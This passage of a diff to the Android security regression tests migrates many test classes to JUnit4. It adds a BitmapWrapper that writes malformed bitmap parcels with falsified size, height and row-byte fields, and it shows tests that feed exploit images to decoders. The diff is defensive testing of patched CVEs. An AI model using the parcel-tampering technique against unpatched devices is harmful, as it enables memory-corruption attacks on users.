+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+                    continue;
                 }
 
-                // wait for track to really begin playing
-                Thread.sleep(200 /* millis */);
+                AudioEffect audioEffect = null;
+                AudioTrack audioTrack = null;
 
-                // create effect
-                {
-                    audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
-                            UUID.class, UUID.class, int.class, int.class).newInstance(
-                                    descriptor.type, descriptor.uuid, 0 /* priority */,
-                                    audioTrack.getAudioSessionId());
-                }
+                try {
+                    // create track and play
+                    {
+                        audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+                                AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+                                AudioTrack.MODE_STATIC);
+                        assertEquals("Cannot write to audio track",
+                                bufferSamples,
+                                audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+                        assertEquals("AudioTrack not initialized",
+                                AudioTrack.STATE_INITIALIZED,
+                                audioTrack.getState());
+                        assertEquals("Cannot set loop points",
+                                android.media.AudioTrack.SUCCESS,
+                                audioTrack.setLoopPoints(
+                                        0 /* startInFrames */, bufferFrames, loops));
+                        audioTrack.play();
+                    }
 
-                // set capture size
-                {
-                    byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
-                            .order(ByteOrder.nativeOrder())
-                            .putInt(0)                             // status (unused)
-                            .putInt(4)                             // psize (sizeof(param))
-                            .putInt(4)                             // vsize (sizeof(value))
-                            .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
-                            .putInt(CAPTURE_SIZE)                  // data[4] (value)
-                            .array();
+                    // wait for track to really begin playing
+                    Thread.sleep(200 /* millis */);
 
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    EFFECT_CMD_SET_PARAM,
-                                    command, new byte[4] /* reply */);
-                    Log.d(TAG, "setparam returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
+                    // create effect
+                    {
+                        audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+                                UUID.class, UUID.class, int.class, int.class).newInstance(
+                                        descriptor.type, descriptor.uuid, 0 /* priority */,
+                                        audioTrack.getAudioSessionId());
+                    }
 
-                // enable effect
-                {
-                    final int ret = audioEffect.setEnabled(true);
-                    assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
-                }
+                    // set capture size
+                    {
+                        byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                                .order(ByteOrder.nativeOrder())
+                                .putInt(0)                             // status (unused)
+                                .putInt(4)                             // psize (sizeof(param))
+                                .putInt(4)                             // vsize (sizeof(value))
+                                .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+                                .putInt(CAPTURE_SIZE)                  // data[4] (value)
+                                .array();
 
-                // wait for track audio data to be processed, otherwise capture
-                // will not really return audio data.
-                Thread.sleep(200 /* millis */);
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        EFFECT_CMD_SET_PARAM,
+                                        command, new byte[4] /* reply */);
+                        Log.d(TAG, "setparam returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
 
-                // capture data
-                {
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    VISUALIZER_CMD_CAPTURE,
-                                    new byte[0] /* command */, captureBuf /* reply */);
-                    Log.d(TAG, "capture returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
-            } finally {
-                if (audioEffect != null) {
-                    audioEffect.release();
-                }
-                if (audioTrack != null) {
-                    audioTrack.release();
+                    // enable effect
+                    {
+                        final int ret = audioEffect.setEnabled(true);
+                        assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+                    }
+
+                    // wait for track audio data to be processed, otherwise capture
+                    // will not really return audio data.
+                    Thread.sleep(200 /* millis */);
+
+                    // capture data
+                    {
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        VISUALIZER_CMD_CAPTURE,
+                                        new byte[0] /* command */, captureBuf /* reply */);
+                        Log.d(TAG, "capture returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
+                } finally {
+                    if (audioEffect != null) {
+                        audioEffect.release();
+                    }
+                    if (audioTrack != null) {
+                        audioTrack.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a..f441c78 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
      *
@@ -33,8 +38,9 @@
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
     @AsbSecurityTest(cveBugId = 33251605)
+    @Test
     public void test_android_bug_33251605() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b..aa7a360 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@
 import java.io.InputStreamReader;
 
 import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 import android.platform.test.annotations.AsbSecurityTest;
 
 import java.util.ArrayList;
@@ -53,9 +53,14 @@
 import android.system.ErrnoException;
 import android.widget.TextView;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import java.io.File;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 class Exchange extends IBinderExchange.Stub {
     IBinder binder;
     BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@
     public native void runxpl(String pipedir);
 }
 
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = BinderExploitTest.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@
      * b/141496757
      */
     @AsbSecurityTest(cveBugId = 133758011)
+    @Test
     public void testPoc_cve_2019_2213() throws Exception {
         Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
 
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110..9b9ea1f 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@
 
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
 import android.security.cts.R;
 
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test case reproduces the bug in CVE-2015-1532.
      * It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@
      * npTc chunk.
      */
     @AsbSecurityTest(cveBugId = 19151999)
+    @Test
     public void testNinePatchHeapOverflow() throws Exception {
-        InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1532));
         BitmapFactory.decodeStream(inStream);
 
     }
 
     @AsbSecurityTest(cveBugId = 36724453)
+    @Test
     public void testPocCVE_2017_0691() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
     @AsbSecurityTest(cveBugId = 65290323)
+    @Test
     public void test_b65290323() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.b65290323));
         BitmapFactory.decodeStream(exploitImage);
     }
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686..c77b7dd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
+import android.content.Context;
 import android.graphics.BitmapFactory;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileDescriptor;
@@ -27,13 +32,16 @@
 import java.io.InputStream;
 
 import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
     private FileDescriptor getResource(int resId) {
         try {
-            InputStream is = mContext.getResources().openRawResource(resId);
+            InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
             assertNotNull(is);
             File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
             file.deleteOnExit();
@@ -58,6 +66,7 @@
      * Verifies that decoding a corrupt ICO does crash.
      */
     @AsbSecurityTest(cveBugId = 38116746)
+    @Test
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -74,6 +83,7 @@
      * Verifies that decoding a corrupt BMP does crash.
      */
     @AsbSecurityTest(cveBugId = 37627194)
+    @Test
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
@@ -84,6 +94,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 156261521)
+    @Test
     public void test_android_bug_156261521() {
         // Previously decoding this would crash.
         FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+    private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+        @Override
+        public int getAllocationSize(BitmapWrapper wrapper) {
+            return wrapper.getBitmap().getAllocationByteCount();
+        }
+
+        @Override
+        public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+            return true;
+        }
+
+
+        @Override
+        public boolean ping() {
+            return true;
+        }
+    };
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5ce81fd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
 
 package android.security.cts;
 
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
 @RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+    private Instrumentation mInstrumentation;
+    private PeerConnection mRemoteConnection;
+    private IBitmapService mRemote;
+
+    public static class PeerConnection extends AbstractFuture<IBitmapService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IBitmapService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IBitmapService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @After
+    public void tearDown() {
+        if (mRemoteConnection != null) {
+            final Context context = mInstrumentation.getContext();
+            context.unbindService(mRemoteConnection);
+            mRemote = null;
+            mRemoteConnection = null;
+        }
+    }
+
+    IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+        if (mRemote == null) {
+            final Context context = mInstrumentation.getContext();
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "android.security.cts", "android.security.cts.BitmapService"));
+            mRemoteConnection = new PeerConnection();
+            context.bindService(intent, mRemoteConnection,
+                    Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+            mRemote = mRemoteConnection.get();
+        }
+        return mRemote;
+    }
+
     /**
      * Test Bitmap.createBitmap properly throws OOME on large inputs.
      *
@@ -39,4 +112,102 @@
         // which might be passed to createBitmap from a Java decoder.
         Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
     }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_inplace_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 500KiB; larger than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the blob size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_ashmem_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+                        .createAshmemBitmap());
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to be larger than the initial size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be smaller
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 100);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+    enum Field {
+        DataSize,
+        Height,
+        RowBytes,
+    }
+
+    private final Bitmap mBitmap;
+    private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+    public BitmapWrapper(Bitmap bitmap) {
+        mBitmap = bitmap;
+    }
+
+    private BitmapWrapper(Parcel in) {
+        mBitmap = Bitmap.CREATOR.createFromParcel(in);
+    }
+
+    public Bitmap getBitmap() {
+        return mBitmap;
+    }
+
+    public BitmapWrapper reset() {
+        mReplaceFields.clear();
+        return this;
+    }
+
+    public BitmapWrapper replace(Field field, int newValue) {
+        mReplaceFields.put(field, newValue);
+        return this;
+    }
+
+    @Override
+    public int describeContents() {
+        return mBitmap.describeContents();
+    }
+
+    @Override
+    public void writeToParcel(@NonNull Parcel dest, int flags) {
+        final int before = dest.dataPosition();
+        mBitmap.writeToParcel(dest, flags);
+        final int oldEnd = dest.dataPosition();
+        if (!mReplaceFields.isEmpty()) {
+            dest.setDataPosition(before
+                    + 4 /* immutable */
+                    + 4 /* colortype */
+                    + 4 /* alpha type */);
+            // Skip sizeof colorspace
+            int colorSpaceLen = dest.readInt();
+            dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+            Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+            Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.Height)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.Height));
+            }
+            Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.RowBytes)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.RowBytes));
+            }
+            Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+            int type = dest.readInt();
+            if (type == 0) { // in-place
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                    int newEnd = dest.dataPosition() + dataSize;
+                    dest.setDataSize(newEnd);
+                    dest.setDataPosition(newEnd);
+                } else {
+                    int skip = dest.readInt();
+                    dest.setDataPosition(dest.dataPosition() + skip);
+                }
+            } else if (type == 1) { // ashmem
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                }
+                dest.setDataPosition(oldEnd);
+            } else {
+                Assert.fail("Unknown type " + type);
+            }
+        }
+    }
+
+    public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+            new Parcelable.Creator<BitmapWrapper>() {
+        public BitmapWrapper createFromParcel(Parcel in) {
+            return new BitmapWrapper(in);
+        }
+
+        public BitmapWrapper[] newArray(int size) {
+            return new BitmapWrapper[size];
+        }
+    };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 4810703..a15ab42 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
   /**
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testAcceptIntent() {
     genericIntentTest("ACCEPT");
   }
@@ -35,6 +40,7 @@
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testDeclineIntent() {
       genericIntentTest("DECLINE");
   }
@@ -47,7 +53,7 @@
           new ComponentName("com.android.bluetooth",
             "com.android.bluetooth.opp.BluetoothOppReceiver"));
       should_be_protected_broadcast.setAction(prefix + action);
-      mContext.sendBroadcast(should_be_protected_broadcast);
+      getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
     catch (SecurityException e) {
       return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9e..f85ec3f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -35,7 +37,7 @@
 import static org.junit.Assume.*;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "CVE_2020_0294";
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c40..14cb7ce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
     private final Context mContext = InstrumentationRegistry.getContext();
     boolean isVulnerable = true;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba..44bbc01 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
 
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
     private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a42..98b8de8 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@
 import android.util.Log;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -38,7 +41,7 @@
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = CVE_2021_0339.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 0000000..130dce5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
